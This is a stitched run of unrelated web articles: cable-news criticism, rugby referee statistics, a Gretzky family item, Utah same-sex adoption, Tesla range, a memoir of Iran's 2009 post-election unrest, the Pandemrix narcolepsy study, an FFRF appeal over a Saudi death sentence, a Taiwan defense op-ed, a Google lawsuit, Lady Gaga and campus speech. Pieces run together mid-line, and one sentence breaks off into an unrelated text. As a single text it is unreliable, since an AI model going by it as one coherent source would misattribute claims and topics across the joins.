EUGENE ROBINSON: With Mitt Romney, I guess the question I still have, it comes down to two words, Muslim ban, which Donald Trump modified, President-elect Trump modified to mean extreme vetting and to be from countries that just happen to be Muslim countries -- JOE SCARBOROUGH (CO-HOST): Right. Well that's actually not a Muslim ban. It's moved beyond that. ROBINSON: But it's a big deal for Mitt Romney, and Mitt Romney -- I am not sure that Mitt Romney can convince himself that calling a Muslim ban by another name is anything other than a Muslim ban. SCARBOROUGH: But Gene, it’s not -- with all due respect, it's not a Muslim ban. A Muslim ban is saying if you’re Muslim, you can’t come into the country. If you talk about extreme vetting from places like Syria, that actually sounds rational to about 98 percent of the people that voted for Donald Trump and a lot of people who didn't, especially after yesterday's news. [MSNBC, Morning Joe, 11/29/16; The Washington Post, 11/10/16]
Brzezinski Called Constitutionally-Protected Flag Burning “The Next Level Of Some Sort Of Hate Crime” In Defense Of A Trump Tweet. After Trump tweeted that “Nobody should be allowed to burn the American flag - if they do, there must be consequences - perhaps loss of citizenship or year in jail,” Brzezinski said there is “a connection between flag burning and that being the next level of some sort of hate crime.” But flag burning was ruled in 1989 to be constitutionally protected speech under the First Amendment, a decision Scarborough falsely attributed to Justice Anthony Kennedy (who wrote a concurrence) while neglecting to mention that it was actually conservative Justice Antonin Scalia who was part of the majority opinion. From the November 29 edition of Morning Joe:How Many Penalties Can Steve Walsh Find In A Match?
Steve Walsh is one of the favourite whipping boys for those who like to criticise referees, particularly when it comes to the number of penalties he awards, which many claim disrupts the flow of a match.
So how do his numbers compare to that of other referees in Super Rugby? He’s third in the number of penalties awarded in Super Rugby after 8 rounds in 2013 – the top gong on that measurement is shared equally by Jonathan Kaplan and Jaco Peyper.
However before anyone gets too excited and starts putting the boot in to those three referees, you should also consider that those three have refereed more matches in 2013 than any other of the referees.
So what do the averages show per match? Jaco Peyper is equal fourth highest, Steve Walsh is seventh and Jonathan Kaplan is fourteenth.
The referee that has awarded more penalties per match than any other in 2013 is James Leckie, the referee with the lowest per match is Glen Jackson.
The average numbers each referee has awarded per match and each team has conceded are shown below.If Tatum Gretzky Johnson decides to embark on a hockey career, he has no better mentor than his grandfather, Wayne Gretzky, the greatest scorer in the history of hockey.
Gretzky's wife, Janet, posted a video to her Instagram account showing Wayne and Tatum together with hockey sticks and hockey ball.
PaPa is not going to give up time to learn how to hold the stick before you turn 1#Tatumhockey#next99 A video posted by @janetgretzky on Jan 12, 2016 at 9:16am PST
Tatum, who turns 1 on Jan. 19, received stick-handling lessons from "PaPa" Wayne, who happens to be the NHL's all-time leader in goals (894), assists (1,963) and points (2,857).
Tatum is the son of Wayne Gretzky's daughter, Paulina, and professional golfer Dustin Johnson. "The Great One" played 20 seasons in the League. He won the Stanley Cup four times with the Edmonton Oilers and helped the Los Angeles Kings to the Stanley Cup Final in 1993.Utah Finally Lifts Stay on Adoptions By Same-Sex Parents
This week, Utah same-sex couples received long-awaited news: The state's Supreme Court has decided to lift the a stay that had halted all pending adoptions, reports the Salt Lake Tribune.
Beyond restarting adoptions put on hold, the decision also now allows the Utah Department of Health to issue birth certificates that list both same-sex partners as their child's legal parents.
Initially requested by Republican state attorney general Sean Reyes in May, the stay affected many same-sex couples who were married in December of last year during a brief window in which the state's ban on marriage equality was overturned. After 17 days and more than 1,300 same-sex marriages, the U.S. Supreme court put a stay on the ruling that struck down the ban, lifting the ban, and the now legally married couples who were seeking second-parent adoptions were thrown into legal limbo.
Because Utah does not offer second-parent adoptions, only biological parents could be legally listed on their child's birth certificate, making non-gestational parents non-custodial, and therefore vulnerable to losing their children.
Two weeks ago, Attorney General Reyes reversed his stance on the issue and asked his state's high court to lift the stay and any pending adoptions. The Tribune attributes the change in Reyes' position to the U.S. Supreme Court's October 6 decision to let stand lower court rulings affirming marriage equality in five states, effectively legalizing same-sex marriage in Utah.
For the past two weeks, Utah's same-sex couples have been steadily finalizing and filing adoption petitions, hoping to secure full legal protections for both parents. Many are in a hurry, family attorney Laura Milliken Gray told the Tribune, "because some families worry that the Legislature is going to try and do something that will once again interfere with their rights."
While several conservative Utah lawmakers have said they will examine their state's marriage laws and consider redrafting statues affecting same-sex couples, including parental rights, no such legislation has yet been introduced.We've spent our fair share of time behind the dash of Tesla's gorgeous Model S, though there hasn't been an opportunity to push the all-electric vehicle to its limits on the fuel battery front. The sedan still isn't quite ready for a full-on range test, but the manufacturer has provided a teaser in the form of some updated stats, with a line graph demonstrating consistent improvements over the Roadster. Assuming constant highway travel at speeds of 50-70 miles-per-hour, the Model S is expected to continue rolling for 250-350 miles on a single charge, with the car possibly exceeding 400 miles at slower speeds (think 35 mph and below, but
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have permits to gather and express your opinions,” he said. “None have been issued.” A reporter from The Economist asked about the regime’s credibility following the vote count. “Don’t concern yourself about us,” Ahmadinejad said. “Freedom in Iran is close to absolute.”
Traffic was moving especially slowly. As we approached an overpass, horns started honking, one answering the other. “It’s been happening all day,” my driver said. “It’s the only way people can express their frustration.”
Ahmadinejad was saying: “Iran is the most stable country in the world. In Iran there is the rule of law, all are equal before the law. Even at a soccer game it is possible for those watching to get angry and the authorities will be forced to clash with them. It’s a natural thing.” Later, he expounded on this theme: “When you run a red light, the police write you a ticket. We’re not happy that anyone runs a red light and gets ticketed. But they do.”
At the Foreign Ministry, there was no hint of large events unfolding. A steady stream of applicants wrangled with officials who were alternately lethargic and helpful. One paid for my copying, brusquely rejecting the large bill I offered in lieu of change. “Just wanted to help you out,” he said.
Afterward I rode uptown to a favorite bookstore. As usual it was full of upscale shoppers examining cookbooks and philosophical tracts, paint sets and pottery. The English section sold both Shakespeare and James Patterson. The children’s department had grown since my last visit: crammed with colorful puzzles, primers, Playmobil, and Lego. I squeezed past a mother and daughter with an armful of Dickens. “Oliver Twist, Great Expectations...,” the mother said, flipping through volumes. “I think you’ve got all these.” In a spacious back room, a tourist studied a calligraphic scroll. “C’est magnifique,” she said under her breath.
Outside the bookstore, two youths lounged in the shade. One fell into step beside me, peddling a package of nylons. “I just want money for lunch, just like you. Don’t you want me to have lunch?” When I paid up, the other youth took over, bombarding me with the same monologue. I stared straight ahead, walking faster, searching for the car. He hounded me until the last possible moment, the malice in his expression at odds with his pleading words.
On the way back to the airport, I stared out the window, taking in the city with a sense of perplexity. The marble high-rises and glossy boutiques of the north end gave way gradually to cell-phone stores, kebabis, medical buildings, shoe stores, butchers, and on every corner a super, the little storefronts stacked to the ceiling with everything from potato chips to diapers. I studied young women in boot-cut jeans and high-tops and young men with too much gel in their hair. Oleander bloomed along the highway, the overpass lined with truncated Iranian flags with a cramped red “allah” crowded into a white center. The city seemed vast and unfathomable to me: a teeming, dissonant nexus. I knew it only in fragments. Somewhere there was an antiques store owned by a reticent Jew who had sold me a golden menorah. Somewhere there was a street named after a flower where an apartment complex had replaced my childhood home. In the north there was a great prison, in the south a great bazaar. Scattered throughout were the empty palaces of kings.
I was born in Tehran. I went to school on Kakh Avenue, lugging my noontime rice and stew in a stacked tin pail. I watched The Wind in the Willows on stage at the Iran American Society and learned the difference between le and la in the bohemian apartment of a Frenchwoman. My sister and I paid monthly visits to a bookstore that sold Georgette Heyer and magazines featuring naked women performing fellatio on naked men. The sky was a snow-laden gray in winter and a hot deep blue in the summer, and in the spring the cherry blossoms shed their petals in our garden.
The city has changed since then in uncounted ways—five million residents becoming 14 million, dull haze obscuring the snow-capped mountains—a wannabe London-Paris-Rome turning into a surly behemoth where past and present, West and East, clashed and fused. Now as then, Tehran’s distracted, shopworn face masked a self-renewing turbulence. In the days to come, that turbulence would erupt. Instead of commuters, the Metro would carry demonstrators through the bowels of the great city to spill roiling into the streets. Tehran landmarks would fill television screens around the world: Vali Asr, Haft-e-Tir, Baharestan.
The flat-screen television at the airport showed Ahmadinejad behind banked flowers, waving clasped hands in victory as jubilant thousands cheered. Later I read that there were riot police stationed around the square, beating back those who would have jeered.
Tuesday night I was in bed reading when I heard the cries. “Allah-u-Akbar.” God is Great. This challenge had been shouted from rooftops 30 years ago, when crowns, not turbans, were at stake. I went to the window and pulled back the curtain. White streetlights illuminated a still life: empty asphalt, darkened windows, shadowy swings in the park across the way. The cry rose again; a man’s excited, fearful voice with the echo of a crowd behind it. That afternoon I had watched on television as Khamenei addressed members of Parliament. “Everyone must stand against these troublemakers,” he said. Yesterday, hundreds of thousands had marched silently through Tehran, thousands more marched today. The Basij, the volunteer militia, were breaking into homes to arrest rooftop callers.
I stood staring into the night and contemplated going out there, knowing I never would. My children slept in the room next to mine. Their presence protected me from having to face the cost of a vote in Iran.
A few days later, I visited a mountainside shrine south of Mashhad. The imam there was a poor relative of the one whose death gave birth to the city. His resting place was a shelf of rock above the arid plain, sheltered by corrugated metal instead of gold. A woolly orange mat protected his threshold, accessible by means of 424 steps.
The steps were steep, hacked out of the mountain. The sun was sinking in the pellucid sky as we climbed. Everyone else was descending: women in chadors, children in plastic slippers, a trio of howling youths. We crested the mountain to discover a roseate landscape, all golden light and soft shadow; the creased earth stretching naked as far as the eye could see.
My friend Y. bent double to catch her breath. “Let’s make a nazr right here, that Khamenei relieve us of his presence,” she said. A nazr is a pledge of good deeds in exchange for a desired outcome. It was Friday, one week after the election.
She removed her shoes before crossing the imam’s threshold to offer money and prayers. I sat on a rock admiring the view. My cell phone rang—my mother calling from Canada. I assured her I was safe.
As we descended, smoke was rising from cook fires. Children played amid makeshift dwellings. Y.’s brother leaned over a wooden balcony. “Come have tea,” he called. We climbed up to a shack illuminated by a hissing kerosene lamp. A weather-beaten man with missing teeth smiled and bowed and offered a tray of steaming glasses. We passed around the sugar bowl, night falling upon us like a warm dry blanket.
Our car waited at the foot of a narrow path. We raced toward it, laughing and calling through the dusk. For an instant as I ran I was enveloped in the fragrance of steamed rice. It was there and gone again, a fleeting promise of abundance denied.
The car was driven by a local man in his 30s, eager to discuss the elections. “Do you really think there was a mistake in the results?” he asked in a country drawl. My friend X. recited statistical improbabilities. The driver listened and nodded. “People are not so enlightened hereabouts,” he said at last. “They only see the moment. Democracy as such does not exist.” Most of his neighbors, he said, had voted for Ahmadinejad because of his rural subsidies.
His radio, tuned to Voice of America, provided a strange soundtrack for those empty plains, all earth and air, the other elements held in abeyance. This was Saturday, June 20. In Tehran demonstrators were pouring into the streets again, police responding with bullets. Later reports would place the death toll at 20, including a girl named Neda Agha-Soltan, whose bloodied visage, captured on video, became an icon of resistance. The settlements we passed seemed untouched by turmoil. Stands of plane trees and poplars stood wind-tossed above a hodgepodge of façades, liberally defaced with scrawled advertisements: “Zomorrod carpet washing,” “Fish, the food for health,” “Yaran soup noodles,” “Capital Mobile.” They advertised well digging and sand washing and kitchen renovations. In the towns, posters of Ahmadinejad remained intact while Mousavi’s were gone; it was as if the president had run for reelection unopposed. In retaliation, X. paid a potter’s assistant $5 to remove Ahmadinejad posters. Two were ripped down at once; the largest, smiling from on high, would come down later, the man promised—after dark. As the VOA announcer talked of 15-year-olds bludgeoning demonstrators, I watched fields of wheat go by; grapevines spilling over mud walls; a square named for ugly metal flowers that reached for the sky. People were calling in from around the world, urgent voices surfing a sea of static. Mr. Khamenei, you cannot stop the people, this roaring wave... We Azari people do not fear Mr. Khamenei... These are not inciters, these are not dust and chaff, these are the Iranian people. Dust and chaff: Ahmadinejad’s oft-repeated phrase for demonstrators.
I watched a woman water her flowers with a hose, her arm describing patient arcs through the air, the water sparkling as it spilled forth.
Four days later I met D., 24, who had campaigned for Mousavi. “My mistake,” he said, slouching beneath the weight of his backpack, his green sneakers worn. He had been out of jail a week. The Tuesday after the elections, he was among 2,000 demonstrators outside Mellat Park. Security forces attacked with batons—D. caught a few blows across the back. Families out for a stroll scattered, screaming. He saw a man on a motorcycle surge onto the sidewalk, catching a little girl in the face. Arrested protesters shouted phone numbers, begging strangers to notify their families. Sometimes, D. said, sympathetic soldiers performed this service.
Five hours at a police station was followed by a blindfolded bus trip to another detention center. D. was kept squatting in a courtyard for hours. Around 2:00 A.M. he was fed a piece of bread and a tomato. Outside, a spokesman reassured the throng of angry relatives: “Your kids are calm, they’re fine. We’re offering them hospitality as we speak.” By then the first shock had worn off, the assembled boys—girls were held separately—were whispering and laughing and calling blessings upon the Prophet.
Eventually, D. and four others were shepherded into a basement to sign written pledges of good conduct, six or seven pages long. He didn’t read his. He was fingerprinted, photographed, his image checked against film of prior demonstrations. He was led through an underground passage. It opened onto the street. Only 24 hours had passed. He couldn’t believe it at first. He just stood there.
As he spoke with me, his sullen mien turned animated. He smiled as he described pre-election insults exchanged between rival sides: Mousavis were called green plums and Mama’s boys; Ahmadis were potatoes, for their candidate’s ploy of handing out bags of supposedly surplus produce. At the end of this recitation, D. said suddenly: “No. It wasn’t a mistake.”
He rummaged in his backpack for a long green scarf, which he pulled out to show me. “I still wear it when I go out,” he said.
Iran’s post-election unrest would generate between 2,000 and 4,000 prisoners and either 36 or 70 dead, depending on whether the government or the opposition was doing the counting. Reports of rape and torture would lead in July to the release of 140 detainees from Evin prison and the closing of Kahrizak prison, both in Tehran. Kahrizak was to become Iran’s Abu Ghraib, its best-known victim Mohsen Rouholamini, scion of a prominent conservative family. Rouholamini was 25 when he died of injuries including a crushed mouth.
The day I met D. I used an anti-filter obtained from a friend to get on YouTube. In the solitude of my living room, after the kids were in bed, I was able at last to watch the video everyone had been talking about. Still photos of the dead girl’s face had seemed too stylized for authenticity—so much blood, the beautiful eyes with their fixed stare. The video was all too real. The sprawl of Neda Agha-Soltan’s legs in jeans and sneakers, the rolled-back eyes that were not beautiful at all, testified to the ungainliness of flesh once the spirit has fled. Panicked cries filled my apartment; the living communing in vain with the dead: “Neda don’t be scared! Neda don’t be scared! Neda stay! Neda Stay!” She was 27.
Several days later I visited Tabas, a desert town leveled by an earthquake coinciding with the upheavals of the revolution. Driving there we passed salt plains with triangular red signs marking camel crossings. There were no camels—the only camel I’ve ever seen was in the Toronto Zoo—but there was a plain blue and white sign that read: “Tabas Desert, site of the landing and ignominious defeat of the invading forces of America.” The paint was fading, obliterating the last letter of “invading” and the first two letters of “America.” No traces remained of the helicopter that crashed trying to rescue American hostages in 1980. No hint remained in Tabas of the rubble that buried three-quarters of its inhabitants, including my uncle and cousin, in 1978. We strolled past brightly lit shops selling chador fabric, towels, plastic slippers, and hammered copper. The dry heat was pleasant, the streets crowded with idly strolling women in black veils and men in somber garb. Outside a housewares store I noticed an intact poster of Mousavi. He was smiling, Khatami at his side.
When I stepped up for a closer look, a young man materialized at the threshold to the store. “Don’t take it down,” he warned.
“I wasn’t going to.”
We exchanged smiles. He leaned against the doorjamb. It was obvious to me that he had been guarding this poster since the election.
“We were supporters of his,” he said. He sighed. “Pity.”
My last week in Mashhad, we drove to a remote village for a picnic. My friend V. and I left the men building a fire and waded through a garbage-strewn stream bordered by cherry orchards. It was a holiday. Behind stacked slate walls, local families were setting up their samovars. They stared at our soaked garments and loose headscarves, but invited us politely to share their fare. We declined with equal politeness.
Beyond the village the stream ran free of garbage. I saw a donkey grazing on the bank. A rocky escarpment loomed over a sunny orchard where a woman tended a cook fire. We scrambled up the slope and asked to buy fruit. A wiry young man in an open-necked shirt finished lighting his cigarette from the fire and bounded over a tree trunk to negotiate. His diffident smile revealed a hint of gold tooth. He helped us fill a leather pail with fruit, cigarette hanging from his lip. “Is this your orchard?” I asked. He shook his head. “The owner lives in Mashhad.”
I steered the talk to the elections. Most everyone in his village of 600 had voted for Ahmadinejad, he said. “Were you for Mousavi?” We faced each other over a cluster of sour cherries, the fruit jewel bright against the verdant greens of the orchard. “Yes,” I said.
He nodded. “You’re wealthy. The wealthy are all for Mousavi. But Ahmadinejad is better for we mostazafan.” This was a revolutionary term akin to Argentina’s descamisados or France’s les miserables. It means “downtrodden.”
He looked nervous when I took out my notebook. I promised I wouldn’t use his name. His gaze measured my honesty. “We have a good country,” he said at last. “I’m satisfied with my country.”
One of the first things I did after I got back to the United States was look for my birth certificate. I found it exactly where it was supposed to be, hidden beneath a sheaf of photocopies and old passport photos. I stared at the red cover, disappointed in myself.
A few days later, I was studying a Tehran map when I noticed that the highway called Legacy of the Imam ends at Evin Prison. Did they plan it that way, the men who remade the map of Iran after waving the banner of freedom, or did it just happen?For every 55,000 doses of Pandemrix delivered, around one child developed the condition that causes excessive daytime sleepiness, health experts said.
At the height of the swine-flu pandemic, between October 2009 and March 2010, more than 850,000 children in England aged six months to 16 years were given the vaccine.
The jab was also administered to 170,000 adults and children when supplies of the seasonal flu vaccine diminished from Oct 2010 to Feb 2011.
Health experts cautioned that the many children who received the jab are well and are expected to “remain fine’’ as symptoms appear to develop a few months after the vaccine is given.
The research, published in the British Medical Journal, examined 75 children aged between four and 18 who were diagnosed with narcolepsy from January 2008 and who attended sleep centres throughout England.
Researchers from the Health Protection Agency and Papworth and Addenbrooke’s hospitals in Cambridge found that 11 of these had received the vaccine before their symptoms began. After adjusting for clinical conditions, the authors associated the vaccination with a 14-fold increased risk of narcolepsy. In absolute numbers, this means that one in 52,000 to 57,500 doses are associated with narcolepsy.
Since 2011, the use of the vaccine in people under the age of 20 across Europe has been restricted following reports of increased cases of the sleep disorder, which is characterised by periods of extreme drowsiness, sudden naps, and paralysis attacks.
The agency’s findings are likely to help parents seeking damages, who claim the jab gave their children narcolepsy. Caroline Hadfield, 42, from Frome in Somerset, is suing the Government because her son Josh, seven, developed the condition within weeks of being vaccinated in 2010. She said he sometimes slept for 19 hours a day before being diagnosed and receiving medication to control the condition.
Professor Liz Miller, a consultant epidemiologist with the agency and lead author of the report, said: “These findings suggest there is an increased risk in children of narcolepsy after Pandemrix vaccination and this is consistent with findings from studies in other European countries. Long-term follow up of people exposed to Pandemrix is needed before we can fully establish the extent of the association.”
A Department of Health spokesman said: “We keep all emerging evidence under review and that’s why use of Pandemrix in those less than 20 years old was stopped in the UK in 2011.”The Freedom From Religion Foundation is appealing to the State Department for a Saudi nonbeliever's life.
Ahmad Al-Shamri was arrested on charges of atheism and blasphemy after he uploaded material to social media that allegedly trivialized Islam and the Prophet Mohammed. Leaving Islam, or "apostasy," is punishable by death in Saudi Arabia, where religious extremists have total control of the kingdom's judicial system. Shockingly, Al-Shamri was sentenced to death merely for expressing his views on social media, in a trial that focused on Islamic law. His case was brought before the Saudi Arabian Supreme Court for appeal, which ruled against Al-Shamri on April 25. Typically, these monstrous executions are carried out by beheading or shooting the victim.
"Blasphemy laws shackle an entire people under the mental slavery of one religion," FFRF Co-Presidents Dan Barker and Annie Laurie Gaylor write to the State Department. "Their very existence is an insult to human dignity and intelligence. When a foreign government issues death sentences, jail time or imprisonment for blasphemy, the United States must do everything in its power to challenge that sentence and to champion the ideals of democracy, free speech and freedom of religion."
The State Department's Bureau of Democracy, Human Rights, and Labor uses a wide range of tools to protect fundamental human rights in accordance with the Universal Declaration of Human Rights. The bureau's Office of International Religious Freedom states that it strives to "promote freedom of religion and conscience throughout the world as a fundamental human right" and to "identify and denounce regimes that are severe persecutors on the basis of religious belief." If Saudi Arabia maintains Al-Shamri's death sentence for atheism and blasphemy, the Office of International Religious Freedom should take a number of steps, including recommending economic sanctions on Saudi Arabia and asking Congress to move immediately with an attempt to halt Al-Shamri's execution.
Further, opposing executions on the basis of religious belief and expression furthers at least two core functions the State Department.
First, the State Department is tasked with protecting Americans abroad. While Ahmad Al-Shamri is not an American national, failing to oppose his execution by a foreign government for his atheism would leave nonreligious Americans — almost one-fourth of the population — at risk if they were to visit or do business in Saudi Arabia.
Second, the State Department upholds the National Endowment for Democracy Act, which states, "individual rights and freedoms (including internationally recognized human rights)... are essential to the functioning of democratic institutions." The same act urges "cooperation with those abroad dedicated to the cultural values, institutions, and organizations of democratic pluralism." Allowing foreign regimes to execute its citizens based on their religious identity and speech is antithetical to these goals and must be vigorously opposed by the State Department.
Ultimately, if diplomacy does not yield results, and the United States cannot reason with Saudi Arabia, FFRF contends that the Trump administration ought to make clear it will end its special relationship with this theocratic state.
(If individuals wish to contact the State Department, they can do so here.)
The Freedom From Religion Foundation is a national nonprofit organization, with more than 29,000 nonreligious members, whose purposes are to protect the constitutional principle of separation between state and church and to educate the public on matters relating to nontheism.Trump Must Change US Defense Policy for Taiwan
United States defense policy toward Taiwan must change. Now there is a rare opportunity to make that happen with the election of Donald Trump. But everyone knows he lacks experience in foreign affairs, although he is a man with great instincts. If he can prevail over the established litany, there is a chance that Taiwan can stay independent. But if he follows the "party line" from the State Department and their supporting chorus in parts of the Pentagon, Taiwan is a goner. It is only a question of time. Taiwan is an island that lives next to a behemoth in the form of China. It is a democracy and, with its new government with a very strong domestic mandate, intent on maintaining its independence and democratic system. For China, democracy is the enemy as they have just demonstrated again in Hong Kong where they blocked two elected officials from taking office. Democracy threatens the Communist party dictatorship, and China is yearning for it. That is what happened before at Tiananmen, where democratic dissent was ruthlessly suppressed. And across China that is happening every day, and China's government knows it. For them, the big thumb in their eye is Taiwan. They would take any opportunity to knock it off, and China has been building up forces to make it hard for the United States to come to Taiwan's defense. When China's forces reach a tipping point, and when they think America might back off, they will strike.
The question is not whether but when. America should be following a defense policy that pushes the "when" back to "whether" and puts a price on the "whether" decision that would make it hard for China's leaders to act, if they were unsure of the outcome. Unfortunately, America's support of Taiwan has played directly into China's hands and put Taiwan at considerable risk. Consider for example that Taiwan has been allowed to have only half an air force and half a navy. What is meant by "half"? A modern air force must be able to defeat an enemy air force before its planes and missiles bring death and destruction to its people. That means it must have strike capability. Taiwan's air force does not have strike capability because Washington will not sell Taiwan strike aircraft such as the F-15 or advanced F-16s. Even the F-16s Taiwan was granted by George H. W. Bush are hobbled. The more modern multi-role models of the F-16 were not provided to Taiwan, and F-16 upgrades the Obama administration reluctantly approved for Taiwan do not include strike capability, meaning they are not multi-role and can't take the fight to China. The result is that the Taiwan's air force (officially known as the Republic of China Air Force or ROCAF) lacks beyond visual range weapons and can only function as an interceptor against Chinese forces invading the island. The ROCAF F-16s have very limited value against a Chinese main force invasion of the island because their F-16s can't interdict their bases or zap them before they cross the Taiwan Strait. There is also half a navy made up primarily of old rejected U.S. frigates. These Carter-administration FFG tubs are thin-skinned, slow and poor sea fighters. On the other hand, China has been rapidly expanding its blue water navy and its submarine force. Taiwan has two usable submarines and two post World War II Guppy boats that are museum pieces. Its usable submarines are badly in need of an upgrade and they are no match for China's nuclear and Kilo-class submarines that threaten the Island. What all this means is that any fight that happens takes place in and over Taiwan, a great danger when one sees that most Taiwanese live near the coast and are exposed to attack. Taiwan has almost 24 million people but given that they are concentrated in narrow spaces and surrounded otherwise by mountains, any attack on Taiwan cities and towns will be highly destabilizing. Which is why the right defense strategy for Taiwan is to give it the ability to take the fight to the enemy and not wait to get crushed at home. Could you imagine a U.S. Air Force that waited until Russian airplanes were over New York, Washington DC, or Chicago? It will never happen, because the U.S. Air Force is designed to strike at the enemy, liquidate his bases, and destroy his fighting capability. While Taiwan is a pinprick in size compared to China, an offensive capability is the only way to set back China's invasion plans. The usual suspects in the State Department will say that China will object if the United States gave Taiwan a real defense capability. American companies and financial institutions will complain they will lose business if China gets mad at us. China may stop buying Treasury bonds. But we have ways to counteract China. Anyway, Mr. Trump is not so happy about American companies shifting their manufacturing and technology to China, so maybe this will be part of his planned wakeup call. China's complaints can be managed because in the end China needs our market for China's regime to stay in power. No matter how excited they may get, that is the real bottom line. Over the last twenty-five years America's support for Taiwan has been a lot of comforting words but also a dumping off place for a lot of military junk when the U.S. administration sells some hardware to keep Congress off its back. That policy has to be jettisoned because it is not in Taiwan's interest or in the interest of the United States. Taiwan needs the other "half" of its air force, navy, and army in order to deter China. America needs Taiwan to stay safe and free or we lose all of our credibility in Asia. It is one thing to blindly pursue a policy, but when the policy is ultimately self-defeating and ill suited, it needs to be changed. And soon. It is inevitable that China will invade Taiwan because it is part of its strategic plan. But if China is forced to continually revise its schedule, then China will have to put its plan on hold or even give it up. That is exactly what America's strategic goal should be. America needs a containment policy for China's rising power, and Taiwan is the right place to start implementing it. President-elect Trump has a real opportunity to show China that America is not sleeping anymore. Stephen Bryen served as a senior Defense Department official in the Reagan administration, He is the author of Technology and Security: Winners and Losers (Transaction Publishers, 2015)A Google product manager has accused the company of violating California labor laws via its restrictive confidentiality policies. According to The Information, the employee filed a suit with the California Superior Court in San Francisco, alleging that Google is running an internal "spying program" that encourages employees to report co-workers suspected of leaking information to the media.
The lawsuit also states that Google's policies prohibit employees from reporting illegal activities within the company, even to its own attorneys. Weirdly, there's also a policy that prevents employees from writing a novel about working for a Silicon Valley corporation without getting approval from Google.
One of the reasons for the stringent policies is to ensure that confidential information isn't leaked to the press. Anyone found guilty of doing so would be terminated, according to the lawsuit. The suit also says that confidential information is classified as "everything at Google," which prevents employees from talking about their workplace conditions with the "press, members of the investment community, partners, or anyone else outside of Google."
If Google is found to be guilty of the alleged 12 violations of California's labor laws, it could pay out as much as $3.8 billion in total, with 75% of the penalty collected by the state and the rest distributed to Google's 65,000 employees. That comes out to $14,600 per employee.
Here's a full copy of the lawsuit, as obtained by The Verge:Lady Gaga's got a hundred million reasons to release "A-YO," but fans gave her a good one to change her plan.
The Hillary Lindsey-co-penned banger "A-YO" aka "Mirror On The Ceiling," was originally intended to serve as the next single from Gaga's brand new album Joanne. Instead, her label will send the ballad "Million Reasons" (also written in collaboration with Lindsey) to radio stations worldwide.
The decision to release "Million Reasons" was likely in response to the song's quick ascent up the charts, caused by Gaga's instantly-viral performance on James Corden's "Carpool Karaoke." The track currently sits at number one on the iTunes music charts in the United States and Canada, and in the Top 20 in the United Kingdom, Ireland, Australia, New Zealand, Brazil, and over 30 other countries.
Related: Watch Lady Gaga Join James Corden For 'Carpool Karaoke'
"We're so excited to play this song because right now this is the number one on on iTunes in the United States," Gaga said of the song's success during last night's Dive Bar show in Los Angeles. "I just want you to know that when I saw that I felt so heard as a woman. And you know what, if I'm head, that means you're heard. I just wanted to tall all those women and men who bought that song that I can f***ing hear you. And every time I sing this song I can hear you in my heart singing with me."
Stream "Million Reasons" below and be sure to purchase your copy of Gaga's brand new album Joanne via iTunes, Amazon, or at your local record shop!Many have observed a trend on campus toward intolerance for expression and debate. This is not a new phenomenon, nor is it limited to the monomaniacal, semi-professional street performers who dedicate themselves to careers in activism. In recent years, however, those advocating aggression in response to unwanted speech have migrated from the streets onto student-newspaper editorial boards, where they gloss their tyrannical fanaticism with a veneer of false sagacity.
In recent years, student editors have protested the appearance of conservative speakers on campus by associating difficult ideas with physical trauma. A 2012 op-ed in the Harvard Crimson declared expressions of racism to be “an act of violence.” In 2015, The Oberlin Review protested Christina Hoff Sommers for questioning the statistical basis for a variety of feminist myths by penning “a love letter to ourselves.” This exercise in self-soothing relieved the pain that resulted from the rejection of what Hillary Clinton once called a self-professed victim’s “right to be believed.” Georgetown’s The Hoya endorsed Oberlin’s assessment of the threat posed by Sommers and, thus, critical statistical analysis by asserting that her invitation to speak at the university amounted to endorsing “a harmful conversation.”
The notion that one is under physical assault eventually legitimizes—even demands—a preventative response. The editors at Wellesley College’s student newspaper inadvertently endorsed this grim totalitarianism in an editorial advocating the use of “appropriate measures” against those who support those they deem to be irresponsible politicians or lecturers. “[I]f people are given the resources to learn and either continue to speak hate speech or refuse to adapt their beliefs, then hostility may be warranted,” the piece read. Amid laborious prose that read as though an algorithm translated it from the original Mandarin, these students articulated the logical foundations of fascism: We, the victimized, are owed reparative justice. And here it comes.
Those with a cursory understanding of history won’t be surprised to see that this vaguely menacing worldview includes a semi-coherent racial component. When the students at Claremont McKenna College marched and protested an appearance by Heather Mac Donald for having the temerity through scholarship and perseverance to challenge the myths preferred by the Black Lives Matter movement (sensing a pattern?), they chose to segregate their protest by race. “For white accomplices,” read a Facebook post from a protest organizer, who surely meant “allies.” “Please keep in mind that your role… is to serve as a buffer between students of color and the police.” Supporters of this tactic contend that police are less likely to use violence against white protesters, as was the case during the Civil Rights Movement’s demonstrations in the early 1960s. The problem with this logic is that this is not the Civil Rights Movement and it’s most certainly not the early 1960s.
The left’s impulse to segregate would be more threatening if its members’ narcissism did not temper it. “Protests are not the apex of activism, and in some cases, a large presence of white people actually hinders the overall goals for such a gathering,” wrote a columnist in Chapman University’s student paper, “like when more media attention is put on white people standing at the front of a protest rather than focusing on the people who are actually affected by the issues at hand.” She must have missed the memo about a plague of police violence targeting African-American protesters on college campuses.
Of course, for some on the left, the lack of police violence meted out against white people is a source of great shame. Writing in the New Republic, the liberal columnist Jess Zimmerman took aim at the display of admirable civility put on by anti-Donald Trump demonstrators at January’s nationwide Women’s March. “If the police stay their hand with you, white women, it is not a compliment,” she wrote. “It is condescension.” In other words, if white protesters do not provoke police violence, they are little better than those against whom they are protesting.
Central to all these increasingly belligerent internal debates among members of the activist left is the question of violence. Is it necessary? When should it be invited? What is the maximum political benefit derived from its targeted application? Out of a culture that equates discomfiting speech with violence has sprung forth an ethos that justifies a physical response to challenging ideas. In February, protesters at the University of California, Berkeley set their college alight to prevent Milo Yiannopoulos from speaking. A month later, the invitation of Charles Murray to address Middlebury College spurred a reptilian mob to attack their professors, giving one whiplash and a concussion. These acts of animalism are spontaneous, but an intellectual class that excuses violence in the effort to silence dissent has lent them a kind of legitimacy. It won’t be long before this behavior is no longer so unplanned.
Perhaps the generation of agitators gestating on American college campuses believes their illiberal, racially conscious movement is a necessary response to current political conditions, but that is a bankrupt logic. Only toxic moral relativism can justify violence and racial segregation in the name of combating injustice. As philosophy professor Peter Kreeft observed, the relativistic rejection of absolute truths and moral imperatives isn’t noble. “Moral relativism has a reputation for being compassionate, caring and humane,” Kreeft wrote, “but it is an extremely useful philosophy for tyrants.” The students on campuses indulging their worst Jacobin impulses would benefit from consuming Kreeft’s work, but they must have skipped class that day.When many people think of Latinos in California, argues Giovanni Rodriguez of SocialxDesign, they tend to think of working class immigrants or even the disenfranchised, he says. But there is another group that has been present for a while, but is only now starting to coalesce, and these are Silicon Valley Latinos.
